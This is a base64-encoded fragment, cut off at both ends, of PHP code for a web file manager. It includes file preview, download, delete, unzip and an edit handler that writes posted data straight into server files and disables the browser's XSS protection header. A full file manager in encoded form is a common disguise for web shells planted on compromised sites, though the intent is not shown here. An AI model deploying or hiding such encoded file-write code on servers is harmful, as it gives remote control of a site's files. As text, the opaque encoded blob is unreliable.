zcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjw/cGhwIGVjaG8gbG5nKCdGaWxlcyBpbiBhcmNoaXZlJykgPz46IDw/cGhwIGVjaG8gJHRvdGFsX2ZpbGVzID8+PFwvbGk+XG4gICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjw/cGhwIGVjaG8gbG5nKCdUb3RhbCBzaXplJykgPz46IDw/cGhwIGVjaG8gZm1fZ2V0X2ZpbGVzaXplKCR0b3RhbF91bmNvbXApID8+PFwvbGk+XG4gICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPiA8P3BocCBlY2hvIGxuZygnU2l6ZSBpbiBhcmNoaXZlJykgPz46IDw/cGhwIGVjaG8gZm1fZ2V0X2ZpbGVzaXplKCR0b3RhbF9jb21wKSA/PjxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48P3BocCBlY2hvIGxuZygnQ29tcHJlc3Npb24nKSA/PjogPD9waHAgZWNobyByb3VuZCgoJHRvdGFsX2NvbXAgXC8gbWF4KCR0b3RhbF91bmNvbXAsIDEpKSAqIDEwMCkgPz4lPFwvbGk+XG4gICAgICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgaWYgKCRpc19pbWFnZSkge1xuICAgICAgICAgICAgICAgICAgICAkaW1hZ2Vfc2l6ZSA9IGdldGltYWdlc2l6ZSgkZmlsZV9wYXRoKTtcbiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtXCI+PHN0cm9uZz4nIC4gbG5nKCdJbWFnZSBzaXplJykgLiAnOjxcL3N0cm9uZz4gJyAuIChpc3NldCgkaW1hZ2Vfc2l6ZVswXSkgPyAkaW1hZ2Vfc2l6ZVswXSA6ICcwJykgLiAnIHggJyAuIChpc3NldCgkaW1hZ2Vfc2l6ZVsxXSkgPyAkaW1hZ2Vfc2l6ZVsxXSA6ICcwJykgLiAnPFwvbGk+JztcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgaWYgKCRpc190ZXh0KSB7XG4gICAgICAgICAgICAgICAgICAgICRpc191dGY4ID0gZm1faXNfdXRmOCgkY29udGVudCk7XG4gICAgICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2ljb252JykpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJGlzX3V0ZjgpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9IGljb252KEZNX0lDT05WX0lOUFVUX0VOQywgJ1VURi04XC9cL0lHTk9SRScsICRjb250ZW50KTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICBlY2hvICc8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48c3Ryb25nPicgLiBsbmcoJ0NoYXJzZXQnKSAuICc6PFwvc3Ryb25nPiAnIC4gKCRpc191dGY4ID8gJ3V0Zi04JyA6ICc4IGJpdCcpIC4gJzxcL2xpPic7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgID8+XG4gICAgICAgICAgICA8XC91bD5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJidG4tZ3JvdXAgYnRuLWdyb3VwLXNtIGZsZXgtd3JhcFwiIHJvbGU9XCJncm91cFwiPlxuICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD1cInBvc3RcIiBjbGFzcz1cImQtaW5saW5lIG1iLTAgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnlcIiBhY3Rpb249XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGw9PD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLWxpbmsgYnRuLXNtIHRleHQtZGVjb3JhdGlvbi1ub25lIGZ3LWJvbGQgcC0wXCI+PGkgY2xhc3M9XCJmYSBmYS1jbG91ZC1kb3dubG9hZFwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdEb3dubG9hZCcpID8+PFwvYnV0dG9uPiAmbmJzcDtcbiAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz1cImZ3LWJvbGQgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnlcIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKSA/PlwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGVsPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PlwiIG9uY2xpY2s9XCJjb25maXJtRGFpbG9nKGV2ZW50LCAxMjA5LCAnPD9waHAgZWNobyBsbmcoJ0RlbGV0ZScpIC4gJyAnIC4gbG5nKCdGaWxlJyk7ID8+JywnPD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpOyA/PicsIHRoaXMuaHJlZik7XCI+IDxpIGNsYXNzPVwiZmEgZmEtdHJhc2hcIj48XC9pPiBEZWxldGU8XC9hPlxuICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgIDxhIGNsYXNzPVwiZnctYm9sZCBidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI8P3BocCBlY2hvIGZtX2VuYygkZmlsZV91cmwpID8+XCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGkgY2xhc3M9XCJmYSBmYS1leHRlcm5hbC1saW5rLXNxdWFyZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdPcGVuJykgPz48XC9hPjxcL2I+XG4gICAgICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICBpZiAoIUZNX1JFQURPTkxZICYmICgkaXNfemlwIHx8ICRpc19nemlwKSAmJiAkZmlsZW5hbWVzICE9PSBmYWxzZSkge1xuICAgICAgICAgICAgICAgICAgICAkemlwX25hbWUgPSBwYXRoaW5mbygkZmlsZV9wYXRoLCBQQVRISU5GT19GSUxFTkFNRSk7XG4gICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPVwicG9zdFwiIGNsYXNzPVwiZC1pbmxpbmUgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkgbWItMFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidW56aXBcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1saW5rIHRleHQtZGVjb3JhdGlvbi1ub25lIGZ3LWJvbGQgcC0wIGJvcmRlci0wXCIgc3R5bGU9XCJmb250LXNpemU6IDE0cHg7XCI+PGkgY2xhc3M9XCJmYSBmYS1jaGVjay1jaXJjbGVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnVW5aaXAnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPVwicG9zdFwiIGNsYXNzPVwiZC1pbmxpbmUgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkgbWItMFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidW56aXBcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRvZm9sZGVyXCIgdmFsdWU9XCIxXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0biBidG4tbGluayB0ZXh0LWRlY29yYXRpb24tbm9uZSBmdy1ib2xkIHAtMFwiIHN0eWxlPVwiZm9udC1zaXplOiAxNHB4O1wiIHRpdGxlPVwiVW5aaXAgdG8gPD9waHAgZWNobyBmbV9lbmMoJHppcF9uYW1lKSA/PlwiPjxpIGNsYXNzPVwiZmEgZmEtY2hlY2stY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1VuWmlwVG9Gb2xkZXInKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICBpZiAoJGlzX3RleHQgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJmdy1ib2xkIGJ0biBidG4tb3V0bGluZS1wcmltYXJ5XCIgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCkpID8+JmFtcDtlZGl0PTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PlwiIGNsYXNzPVwiZWRpdC1maWxlXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz1cImZhIGZhLXBlbmNpbC1zcXVhcmVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnRWRpdCcpID8+XG4gICAgICAgICAgICAgICAgICAgIDxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPVwiZnctYm9sZCBidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7ZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz4mZW52PWFjZVwiXG4gICAgICAgICAgICAgICAgICAgICAgICBjbGFzcz1cImVkaXQtZmlsZVwiPjxpIGNsYXNzPVwiZmEgZmEtcGVuY2lsLXNxdWFyZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdBZHZhbmNlZEVkaXRvcicpID8+XG4gICAgICAgICAgICAgICAgICAgIDxcL2E+XG4gICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgIDxhIGNsYXNzPVwiZnctYm9sZCBidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PlwiPjxpIGNsYXNzPVwiZmEgZmEtY2hldnJvbi1jaXJjbGUtbGVmdCBnby1iYWNrXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0JhY2snKSA/PjxcL2E+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwicm93IG10LTNcIj5cbiAgICAgICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgICAgIGlmICgkaXNfb25saW5lVmlld2VyKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmICgkb25saW5lX3ZpZXdlciA9PSAnZ29vZ2xlJykge1xuICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGlmcmFtZSBzcmM9XCJodHRwczpcL1wvZG9jcy5nb29nbGUuY29tXC92aWV3ZXI/ZW1iZWRkZWQ9dHJ1ZSZobD1lbiZ1cmw9JyAuIGZtX2VuYygkZmlsZV91cmwpIC4gJ1wiIGZyYW1lYm9yZGVyPVwibm9cIiBzdHlsZT1cIndpZHRoOjEwMCU7bWluLWhlaWdodDo0NjBweFwiPjxcL2lmcmFtZT4nO1xuICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKCRvbmxpbmVfdmlld2VyID09ICdtaWNyb3NvZnQnKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8aWZyYW1lIHNyYz1cImh0dHBzOlwvXC92aWV3Lm9mZmljZWFwcHMubGl2ZS5jb21cL29wXC9lbWJlZC5hc3B4P3NyYz0nIC4gZm1fZW5jKCRmaWxlX3VybCkgLiAnXCIgZnJhbWVib3JkZXI9XCJub1wiIHN0eWxlPVwid2lkdGg6MTAwJTttaW4taGVpZ2h0OjQ2MHB4XCI+PFwvaWZyYW1lPic7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGlzX3ppcCkge1xuICAgICAgICAgICAgICAgICAgICBpZiAoJGZpbGVuYW1lcyAhPT0gZmFsc2UpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxjb2RlIGNsYXNzPVwibWF4aGVpZ2h0XCI+JztcbiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlbmFtZXMgYXMgJGZuKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRmblsnZm9sZGVyJ10pIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGI+JyAuIGZtX2VuYygkZm5bJ25hbWUnXSkgLiAnPFwvYj48YnI+JztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRmblsnbmFtZSddIC4gJyAoJyAuIGZtX2dldF9maWxlc2l6ZSgkZm5bJ2ZpbGVzaXplJ10pIC4gJyk8YnI+JztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8XC9jb2RlPic7XG4gICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8cD4nIC4gbG5nKCdFcnJvciB3aGlsZSBmZXRjaGluZyBhcmNoaXZlIGluZm8nKSAuICc8XC9wPic7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGlzX2ltYWdlKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheSgkZXh0LCBhcnJheSgnZ2lmJywgJ2pwZycsICdqcGVnJywgJ3BuZycsICdibXAnLCAnaWNvJywgJ3N2ZycsICd3ZWJwJywgJ2F2aWYnKSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxwPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBpZD1cInByZXZpZXctaW1nLXpvb21DaGVja1wiPjxsYWJlbCBmb3I9XCJwcmV2aWV3LWltZy16b29tQ2hlY2tcIj48aW1nIHNyYz1cIicgLiBmbV9lbmMoJGZpbGVfdXJsKSAuICdcIiBhbHQ9XCJpbWFnZVwiIGNsYXNzPVwicHJldmlldy1pbWdcIj48XC9sYWJlbD48XC9wPic7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGlzX2F1ZGlvKSB7XG4gICAgICAgICAgICAgICAgICAgIGVjaG8gJzxwPjxhdWRpbyBzcmM9XCInIC4gZm1fZW5jKCRmaWxlX3VybCkgLiAnXCIgY29udHJvbHMgcHJlbG9hZD1cIm1ldGFkYXRhXCI+PFwvYXVkaW8+PFwvcD4nO1xuICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkaXNfdmlkZW8pIHtcbiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz1cInByZXZpZXctdmlkZW9cIj48dmlkZW8gc3JjPVwiJyAuIGZtX2VuYygkZmlsZV91cmwpIC4gJ1wiIHdpZHRoPVwiNjQwXCIgaGVpZ2h0PVwiMzYwXCIgY29udHJvbHMgcHJlbG9hZD1cIm1ldGFkYXRhXCI+PFwvdmlkZW8+PFwvZGl2Pic7XG4gICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRpc190ZXh0KSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChGTV9VU0VfSElHSExJR0hUSlMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRobGpzX2NsYXNzZXMgPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnc2h0bWwnID0+ICd4bWwnLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdodGFjY2VzcycgPT4gJ2FwYWNoZScsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3BodG1sJyA9PiAncGhwJyxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnbG9jaycgPT4gJ2pzb24nLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdzdmcnID0+ICd4bWwnLFxuICAgICAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICRobGpzX2NsYXNzID0gaXNzZXQoJGhsanNfY2xhc3Nlc1skZXh0XSkgPyAnbGFuZy0nIC4gJGhsanNfY2xhc3Nlc1skZXh0XSA6ICdsYW5nLScgLiAkZXh0O1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRleHQpIHx8IGluX2FycmF5KHN0cnRvbG93ZXIoJGZpbGUpLCBmbV9nZXRfdGV4dF9uYW1lcygpKSB8fCBwcmVnX21hdGNoKCcjXFwubWluXFwuKGNzc3xqcykkI2knLCAkZmlsZSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaGxqc19jbGFzcyA9ICdub2hpZ2hsaWdodCc7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9ICc8cHJlIGNsYXNzPVwid2l0aC1obGpzXCI+PGNvZGUgY2xhc3M9XCInIC4gJGhsanNfY2xhc3MgLiAnXCI+JyAuIGZtX2VuYygkY29udGVudCkgLiAnPFwvY29kZT48XC9wcmU+JztcbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsIGFycmF5KCdwaHAnLCAncGhwNCcsICdwaHA1JywgJ3BodG1sJywgJ3BocHMnKSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRjb250ZW50ID0gaGlnaGxpZ2h0X3N0cmluZygkY29udGVudCwgdHJ1ZSk7XG4gICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9ICc8cHJlPicgLiBmbV9lbmMoJGNvbnRlbnQpIC4gJzxcL3ByZT4nO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIGVjaG8gJGNvbnRlbnQ7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgID8+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgIDxcL2Rpdj5cbiAgICA8XC9kaXY+XG48P3BocFxuICAgIGZtX3Nob3dfZm9vdGVyKCk7XG4gICAgZXhpdDtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydlZGl0J10pICYmICFGTV9SRUFET05MWSkge1xuICAgICRmaWxlID0gJF9HRVRbJ2VkaXQnXTtcbiAgICAkZmlsZSA9IGZtX2NsZWFuX3BhdGgoJGZpbGUsIGZhbHNlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSB8fCAhZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSwgJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuICAgICRlZGl0RmlsZSA9ICcgOiA8aT48Yj4nIC4gJGZpbGUgLiAnPFwvYj48XC9pPic7XG4gICAgaGVhZGVyKCdYLVhTUy1Qcm90ZWN0aW9uOjAnKTtcbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG5cbiAgICAkZmlsZV91cmwgPSBGTV9ST09UX1VSTCAuIGZtX2NvbnZlcnRfd2luKChGTV9QQVRIICE9ICcnID8gJ1wvJyAuIEZNX1BBVEggOiAnJykgLiAnXC8nIC4gJGZpbGUpO1xuICAgICRmaWxlX3BhdGggPSAkcGF0aCAuICdcLycgLiAkZmlsZTtcblxuICAgICRpc05vcm1hbEVkaXRvciA9IHRydWU7XG4gICAgaWYgKGlzc2V0KCRfR0VUWydlbnYnXSkpIHtcbiAgICAgICAgaWYgKCRfR0VUWydlbnYnXSA9PSBcImFjZVwiKSB7XG4gICAgICAgICAgICAkaXNOb3JtYWxFZGl0b3IgPSBmYWxzZTtcbiAgICAgICAgfVxuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3NhdmVkYXRhJ10pKSB7XG4gICAgICAgICR3cml0ZWRhdGEgPSAkX1BPU1RbJ3NhdmVkYXRhJ107XG4gICAgICAgICRmZCA9IGZvcGVuKCRmaWxlX3BhdGgsIFwid1wiKTtcbiAgICAgICAgQGZ3cml0ZSgkZmQsICR3cml0ZWRhdGEpO1xuICAgICAgICBmY2xvc2UoJGZkKTtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgU2F2ZWQgU3VjY2Vzc2Z1bGx5JykpO1xuICAgIH1cblxuICAgICRleHQgPSBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmaWxlX3BhdGgsIFBBVEhJTkZPX0VYVEVOU0lPTikpO1xuICAgICRtaW1lX3R5cGUgPSBmbV9nZXRfbWltZV90eXBlKCRmaWxlX3BhdGgpO1xuICAgICRmaWxlc2l6ZSA9IGZpbGVzaXplKCRmaWxlX3BhdGgpO1xuICAgICRpc190ZXh0ID0gZmFsc2U7XG4gICAgJGNvbnRlbnQgPSAnJztcblxuICAgIGlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfdGV4dF9leHRzKCkpIHx8IHN1YnN0cigkbWltZV90eXBlLCAwLCA0KSA9PSAndGV4dCcgfHwgaW5fYXJyYXkoJG1pbWVfdHlwZSwgZm1fZ2V0X3RleHRfbWltZXMoKSkpIHtcbiAgICAgICAgJGlzX3RleHQgPSB0cnVlO1xuICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3BhdGgpO1xuICAgIH1cblxuPz5cbiAgICA8ZGl2IGNsYXNzPVwicGF0aFwiPlxuICAgICAgICA8ZGl2IGNsYXNzPVwicm93XCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXhzLTEyIGNvbC1zbS01IGNvbC1sZy02IHB0LTFcIj5cbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiYnRuLXRvb2xiYXJcIiByb2xlPVwidG9vbGJhclwiPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoISRpc05vcm1hbEVkaXRvcikgeyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImJ0bi1ncm91cCBqcy1hY2UtdG9vbGJhclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9XCJub25lXCIgZGF0YS1vcHRpb249XCJmdWxsc2NyZWVuXCIgY2xhc3M9XCJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeVwiIGlkPVwianMtYWNlLWZ1bGxzY3JlZW5cIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdGdWxsc2NyZWVuJykgPz5cIj48aSBjbGFzcz1cImZhIGZhLWV4cGFuZFwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0Z1bGxzY3JlZW4nKSA/PlwiPjxcL2k+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9XCJmaW5kXCIgY2xhc3M9XCJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeVwiIGlkPVwianMtYWNlLXNlYXJjaFwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1NlYXJjaCcpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1zZWFyY2hcIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PlwiPjxcL2k+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9XCJ1bmRvXCIgY2xhc3M9XCJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeVwiIGlkPVwianMtYWNlLXVuZG9cIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdVbmRvJykgPz5cIj48aSBjbGFzcz1cImZhIGZhLXVuZG9cIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdVbmRvJykgPz5cIj48XC9pPjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGRhdGEtY21kPVwicmVkb1wiIGNsYXNzPVwiYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1zZWNvbmRhcnlcIiBpZD1cImpzLWFjZS1yZWRvXCIgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnUmVkbycpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1yZXBlYXRcIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdSZWRvJykgPz5cIj48XC9pPjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGRhdGEtY21kPVwibm9uZVwiIGRhdGEtb3B0aW9uPVwid3JhcFwiIGNsYXNzPVwiYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1zZWNvbmRhcnlcIiBpZD1cImpzLWFjZS13b3JkV3JhcFwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1dvcmQgV3JhcCcpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS10ZXh0LXdpZHRoXCIgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnV29yZCBXcmFwJykgPz5cIj48XC9pPjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IGlkPVwianMtYWNlLW1vZGVcIiBkYXRhLXR5cGU9XCJtb2RlXCIgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnU2VsZWN0IERvY3VtZW50IFR5cGUnKSA/PlwiIGNsYXNzPVwiYnRuLW91dGxpbmUtc2Vjb25kYXJ5IGJvcmRlci1zdGFydC0wIGQtbm9uZSBkLW1kLWJsb2NrXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24+LS0gPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBNb2RlJykgPz4gLS08XC9vcHRpb24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvc2VsZWN0PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgaWQ9XCJqcy1hY2UtdGhlbWVcIiBkYXRhLXR5cGU9XCJ0aGVtZVwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBUaGVtZScpID8+XCIgY2xhc3M9XCJidG4tb3V0bGluZS1zZWNvbmRhcnkgYm9yZGVyLXN0YXJ0LTAgZC1ub25lIGQtbGctYmxvY2tcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbj4tLSA8P3BocCBlY2hvIGxuZygnU2VsZWN0IFRoZW1lJykgPz4gLS08XC9vcHRpb24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvc2VsZWN0PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgaWQ9XCJqcy1hY2UtZm9ud